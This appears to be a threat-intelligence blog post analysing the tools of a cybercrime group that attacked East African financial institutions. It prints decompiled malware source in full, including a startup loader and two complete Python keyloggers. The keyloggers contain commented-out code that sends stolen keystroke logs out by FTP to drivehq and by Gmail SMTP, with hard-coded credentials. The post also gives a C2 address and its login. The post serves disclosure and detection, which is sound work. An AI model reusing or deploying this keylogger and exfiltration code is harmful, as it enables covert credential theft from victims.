The Toolset Forkbombo used when it was a cartel

The tools mentioned herewith, should now be detectable in every targeted environment. Reversing such PEs is vital for Adversary pursuit and for Computer Network Defense (CND)

Before the Forkbombo went back into a smaller group, it used to be a Cartel that was build by one former government official who was aware of the small teams as early as 2010 when cyber crime started to hit several East African financial institutions. According to the CTI collected, the officer brought these teams together which grew into a big cyber cartel from 2015 to mid 2017, then they broke up into five different threat groups targeting Financial Institutions.

During their era as a bigger Cartel, several tools were developed and some are still in play, though as OnNet if you find these tools we will name here, then be aware that you were OWNED long time ago and the adversary’s objectives were achieved, plus several backdoors either hardware, software or human are surreptitiously running in your environment.

The first tool they used was a meterpreter python injector in 2016 that dropped a meterpreter DLL which called a Control Server on a NATted box behind a JTL router. The screenshot of the module running is shown below:

The tool had a loader script they called endpoint.exe, which OnNet named the same. It was written in python and set on the startup folder of the penetrated systems. OnNet decompiled the code shown as below:

import os 
import time 

os.chdir("c:\\programdata") 

print os.getcwd() 
while True:     
       os.system("start /MIN https443pip.exe")     
       print "going to sleep"
       time.sleep(3600)     
       print"wking up"

This would call https443pip.exe which OnNet code-named as MetaPipe.

From the exif metadata, the tool was deployed on 5th of January 2016 to several targeted organizations.

File Modification Date/Time : 2016:01:05 10:46:24+03:00

https://www.virustotal.com/gui/file/d2f60223b5e6a23414cac66a5a87a1cd5441299035a2e0ae32a378994a469238/details

This dropped a very old variant of HailMary keylogger that was named Manualklg, which their developer had overwritten and was noisy plus it uploaded data to a techrepublic account in ftp.drivehq.com. A reversed version of the code is as below:

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
from threading import Timer
from threading import Thread
#import shutil
import ftplib, base64

keyids = {
    8:'bksp',
    9:'tab',
    13:'enter',
    19:'Pause',
    20:'capslock',
    27:'Esc',
    32:'space',
    33:'pgup',
    34:'pgdn',
    35:'end',
    36:'home',
    37:'leftarrow',
    38:'uparrow',
    39:'rightarrow',
    40:'downarrow',
    44:'Prt Scr',
    45:'insert',
    46:'del',
    48:'0',
    49:'1',
    50:'2',
    51:'3',
    52:'4',
    53:'5',
    54:'6',
    55:'7',
    56:'8',
    57:'9',
    65:'a',
    66:'b',
    67:'c',
    68:'d',
    69:'e',
    70:'f',
    71:'g',
    72:'h',
    73:'i',
    74:'j',
    75:'k',
    76:'l',
    77:'m',
    78:'n',
    79:'o',
    80:'p',
    81:'q',
    82:'r',
    83:'s',
    84:'t',
    85:'u',
    86:'v',
    87:'w',
    88:'x',
    89:'y',
    90:'z',
    91:'lwin',
    92:'rwin',
    93:'apps',
    96:'num0',
    97:'num1',
    98:'num2',
    99:'num3',
    100:'num4',
    101:'num5',
    102:'num6',
    103:'num7',
    104:'num8',
    105:'num9',
    106:'num*',
    107:'num+',
    109:'num-',
    110:'num.',
    111:'num/',
    112:'F1',
    113:'F2',
    114:'F3',
    115:'F4',
    116:'F5',
    117:'F6',
    118:'F7',
    119:'F8',
    120:'F9',
    121:'F10',
    122:'F11',
    123:'F12',
    144:'numlock',
    145:'scrolllock',
    160:'lshift',
    161:'rshift',
    162:'lctrl',
    163:'rctrl',
    164:'lalt',
    165:'ralt',
    186:';',
    187:'=',
    188:',',
    189:'-',
    190:'.',
    191:'/',
    192:'~',
    219:'[',
    220:'\\',
    221:']',
    222:"'"
    }
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "

#print COMPUTER_NAME
LOGGED_IN=os.getenv('USERNAME')
file_name=os.getenv('userprofile')+"\\" +LOGGED_IN+".tar.gz"
now = datetime.datetime.now()

class KeyBoardHook():

    try:
        f = open(file_name, 'a')
    except:
        f = open(file_name, 'w')
    f.write("\n^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^")
    f.write('\nTHIS IS THE START-UP: '+time.asctime()+">")
    f.write("\n^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^.^")
        
    
    f.close()

    def onApp(self, appname):
        try:
            self.f = open(file_name, 'a')
        except:
            self.f = open(file_name, 'w')
        if appname != self.app:
            self.app = appname

            self.f.write("\n======================================================================================================================== \n")
            self.f.write("<<DATE TIME>>: "+time.asctime()+"<<ACTIVE WINDOW:>> "+self.app+': '+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>')
            self.f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
            sys.stdout.write('\n\n'+time.asctime()+'\n'+self.app+': ')
        self.f.close()

    def onKeyboardEvent(self, event):
        KeyID = event.KeyID
        Ascii = event.Ascii
        self.onApp(event.WindowName)
        try:
            self.f = open(file_name, 'a')
            #self.f.write("Append mode")
        except:
            self.f = open(file_name, 'w')
            #self.f.write("write mode")
        if ((KeyID in range(48, 91))
            or (KeyID in range(96, 112))
            or (KeyID in range(186, 223))
            or (KeyID == 32)
            ):
            sys.stdout.write(chr(Ascii))
            self.f.write(chr(Ascii))
        if KeyID == 8:
            sys.stdout.write('\b\x00\x00\b')
            self.f.write('[BACK]')
        if (KeyID == 9):
            sys.stdout.write('\t')
            self.f.write('\t')
        if (KeyID == 13):
            sys.stdout.write('\n\t[ENT]')
            self.f.write('\n\t[ENT]')
        if (KeyID ==32):
            sys.stdout.write("[SPC]")
            self.f.write("[SPC]")
        if (KeyID ==9):
            sys.stdout.write("[TAB]")
            self.f.write("[TAB]")
        elif ((KeyID not in range(48, 91))
              and (KeyID not in range(96, 112))
              and (KeyID not in range(160, 162))
              and (KeyID not in range(186, 223))
              and (KeyID != 32)
              and (KeyID != 8)
              and (KeyID != 9)
              and (KeyID != 13)
            ):
            try:
                sys.stdout.write("[%s]"%(keyids[KeyID]))
                self.f.write("[%s]"%(keyids[KeyID]))
            except:
                sys.stdout.write("[%d]"%(KeyID))
                self.f.write("[%d]"%(KeyID))
        self.f.close()
        return True

    def __init__(self):
        self.app = ''

def klg():
    KB = KeyBoardHook()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = KB.onKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

##if __name__ == '__main__':
##    main()


##def klg():
##    #KB = pyHook.HookManager()
##    KB = KeyBoardHook()
##    hm.KeyDown = OnKeyboardEvent
##    hm.HookKeyboard()
##    pythoncom.PumpMessages() #will wait forever
##    return True

##def ftp_nc():
##    while True:
##        #print dir(ftplib)
##        try:
##            ftp = ftplib.FTP('ftp.drivehq.com','techdynamic','P@ssw03d')
##            with open(file_name,"rb") as f:
##                directory, filename = os.path.split(file_name)
##                ftp.cwd("//PF")
##                ftp.storbinary('STOR ' + filename, f)
##                
##                new_name=time.strftime('%Y_%m_%d_%H_%M_%S')+"_"+filename               
##                ftp.rename(filename,new_name)
##                ftp.quit()
##                print "Uploaded Successfullt"
##            
##                time.sleep(3600)
##        except Exception, e:
##            print e
##            time.sleep(600)
##   
##    return True

#main loop

ss = Thread(target=klg, args=())
ss.start()

##zz = Thread(target=ftp_nc, args=())
##zz.start()

Forkbombo went ahead and started to rewrite the HailMary keylogger into different versions which also meant uploads to gmail accounts and others variants that retained their data on the infected PC until the ForkBombo operators armed with psexec would log in and copy the data to a hidden laptop in the targeted infrastructure. That keylog data would then be exfiltrated to their command center for analysis targeting credentials.

The next keylogger they started to populate was called lg_tr.exe with md5 hash of 63ad4cb163ae7c0506ed6c7ff8fa8fef.

OnNet DARE team, decided to upload this variant to VT a month ago, June 2019, because for some reason, some of the best Anti-viruses applications, were not yet apprehending it as malicious in targeted organizations. https://www.virustotal.com/gui/file/0d560d78a6891df181e0874c53628f3678c08e2ec77627a04ff6c642a9cc4e68/detection

This logger was saved and compiled from a python script. tech_klg.py as saved on intruders computer during development.

The reversed source code is as below, note the keylogger was still saving files as .tar.gz. They still had not moved to tar.zip. Other versions later in 2018-2019 moved to save logger data as .ini or .sys file extensions to hide their outputs and emulate operating system files.

import pythoncom, pyHook, sys, logging, socket, datetime, os, win32gui,time
#import smtplib
###from email.MIMEMultipart import MIMEMultipart
##from email.MIMEBase import MIMEBase
##from email.MIMEText import MIMEText
##from email import Encoders
#global MAIL_SENT
#MAIL_SENT=False
##gmail_user = "forkbombo@gmail.com"
##gmail_pwd = "mlimani_25891011"
LOG_NEWACTIVE=''
LOG_ACTIVE=''
LOG_TEXT=''
now = datetime.datetime.now()
COMPUTER_NAME= socket.gethostname()+" "+ socket.gethostbyname(socket.gethostname()) + ": "
LOGGED_IN=os.getenv('USERNAME')
PATH_FILE=os.getenv('UserProfile')
FILE_NAME=str(PATH_FILE)+"\\"+LOGGED_IN+'.tar.gz'
#================================================================
##def mail(to, subject, text, attach):
##   msg = MIMEMultipart()
##   msg['From'] = gmail_user
##   msg['To'] = 'forkbombo@gmail.com'
##   msg['Subject'] = subject
##   msg.attach(MIMEText(text))
##   part = MIMEBase('application', 'octet-stream')
##   part.set_payload(open(attach, 'rb').read())
##   Encoders.encode_base64(part)
##   part.add_header('Content-Disposition',
##           'attachment; filename="%s"' % os.path.basename(attach))
##   msg.attach(part)
##   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
##   mailServer.ehlo()
##   mailServer.starttls()
##   mailServer.ehlo()
##   mailServer.login(gmail_user, gmail_pwd)
##   mailServer.sendmail(gmail_user, to, msg.as_string())
##   # Should be mailServer.quit(), but that crashes...
##   mailServer.close()
###================================================================
def OnKeyboardEvent(event):
    global LOG_NEWACTIVE, LOG_ACTIVE, LOG_TEXT,FILE_NAME,MAIL_SENT
    LOG_NEWACTIVE=''
    wg=win32gui
    LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
    if LOG_NEWACTIVE != LOG_ACTIVE:
        #----------
        LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
        LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
        #-----------
        LOG_ACTIVE = LOG_NEWACTIVE
        print LOG_NEWACTIVE 
#-----------------------
        f = open(FILE_NAME, 'a') # or 'w'?
        f.write("\n====================================================== \n")
        f.write("<Active Window: "+ " |<< "+event.WindowName+">> Date <<"+str(now)+">> HOST <<"+COMPUTER_NAME+ ">> USER <<"+ LOGGED_IN+'>>\n')
        f.write("\n------------------------------------------------------------------------------------------------------------------------ \n")
        f.close()
#-----------------------
    LOG_TEXT = ""	
    if event.Ascii == 8: LOG_TEXT += "\b"
    elif event.Ascii == 13 : LOG_TEXT += " [ENT]\n"
    elif event.Ascii == 9: LOG_TEXT += " [Tab]\n"
    elif event.Ascii == 14 or event.Ascii == 15: LOG_TEXT += "[shift]"
    
    else: LOG_TEXT += str(chr(event.Ascii))
    print LOG_TEXT
    #--------------
    f = open(FILE_NAME, 'a') # or 'w'?
    f.write(LOG_TEXT)
    f.close()
    #x can be a conditional for something
    #==========================================================================
##    TIM=int(time.strftime('%H%M'))
##    if TIM>1100 and MAIL_SENT==False:
##               mail("forkbombo@gmail.com","Subject","Body",FILE_NAME)
##               print "Sent mail"
##               MAIL_SENT=True
##               #time.sleep(14400)
    #==========================================================================
    return True
#==============================  
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() #will wait forever

The same Adversary group also specialized in a backdoor, also written in python known as SeaDuke. When the Cartel broke up, this tool development stalled until SilentCards picked up on it late last year, 2018, with OnNet collecting several unique binaries across several Financial organizations.

The oldest version of SeaDuke backdoor called a C2 server in Brazil with IP 177.36.242.57, username thab0ss and password $#!^ which happened to be almost the same credentials to log into the server. Inside was a list of the organizations, Forkbombo were targeting from 2014 as seen below:

Counter cyber with, CNE (Computer Network Exploitation) strategy against the intruders, helped the client understand and visualize how the adversaries copied keyloggers and renamed them across the machines in the target environment as illustrated below:

Since the group broke up mid 2017, OnNet has observed an uproar of different variants of tools especially from the remaining members of this group and a specialized coder from a threat group known as Grapzone. These changes have shaped up a rather peculiar diversity on adversarial penetration of Financial Organizations around East Africa in high numbers, therefore enriching the threat group leaders with immense and illegally acquired wealth.

Leave a Reply

Your email address will not be published. Required fields are marked *